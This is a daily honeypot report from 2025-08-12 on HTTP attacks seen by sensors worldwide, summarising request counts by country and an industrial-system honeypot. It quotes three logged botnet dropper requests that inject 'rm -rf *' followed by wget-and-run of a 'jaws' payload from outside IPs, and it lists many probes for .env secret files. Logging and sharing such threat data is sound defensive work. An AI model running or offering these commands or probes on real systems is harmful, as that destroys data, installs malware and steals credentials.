Table of Contents

Daily Report: 2025-08-12
#

Executive summary
#

interaction report on http service of various Hhoneypot around the world.

Executive summary
OT report simplified
Botnet dropper behaviour
List of request
List of country_iso_code

executive_summary
#

In today’s repport, we detected 3 stage 1 IP address(es), linked to 2 dropper URL(s).

There are 19 new requests that have never been observed before (these were added to the monitored request database.).

A total of 1060 requests were recorded during the day, originating from 3 different countries, with a peak of 608 requests coming from RU.

ot_simplified_report
#

simplified report for medium-level interactions with honeypots that mimic industrial systems (web site loading, or interactions with the website), for more contact us on social@shoggoth.industries.

source_country	targeted_country
US	Dubai

botnet_dropper_behaviour
#

remote_addr	request
8.219.176.71	GET /shell?cd+/tmp;rm+-rf+*;wget+ 213.209.150.159/jaws;sh+/tmp/jaws HTTP/1.1
123.139.117.155	GET /shell?cd+/tmp;rm+-rf+*;wget+196.251.86.86/jaws;sh+/tmp/jaws HTTP/1.1
156.194.91.248	GET /shell?cd+/tmp;rm+-rf+*;wget+ 213.209.150.159/jaws;sh+/tmp/jaws HTTP/1.1

request
#

The list of requests presented here are those that have not yet been yet integrated into the request database.

	number_of_occurence	request
300	1	GET /app/rules/.env HTTP/1.1
305	1	GET /admin/.env.aws HTTP/1.1
306	1	GET /tests/.env HTTP/1.1
308	1	GET /admin/.env.crt HTTP/1.1
312	1	GET /admin/.env.key HTTP/1.1
313	1	GET /admin/.env.log HTTP/1.1
314	1	GET /admin/.env.old HTTP/1.1
315	1	GET /admin/.env.pem HTTP/1.1
316	1	GET /admin/.env.tmp HTTP/1.1
317	1	GET /admin/.env.uat HTTP/1.1
318	1	GET /app/.env.azure HTTP/1.1
319	1	GET /config/.env.db HTTP/1.1
324	1	GET /admin/.env.gcp HTTP/1.1
341	1	GET /api/.env_1.bak HTTP/1.1
345	1	GET /ci/config/.env HTTP/1.1
349	1	GET /@fs/.env?raw?? HTTP/1.1
350	1	GET /app/.env.token HTTP/1.1
489	1	\x00\x0E8\x95PB\x19B\xAE/\xB1\x00\x00\x00\x00\x00
604	1	\x00\x0E8\xCCg\xBFW\xB6\x89\xAEf\x00\x00\x00\x00\x00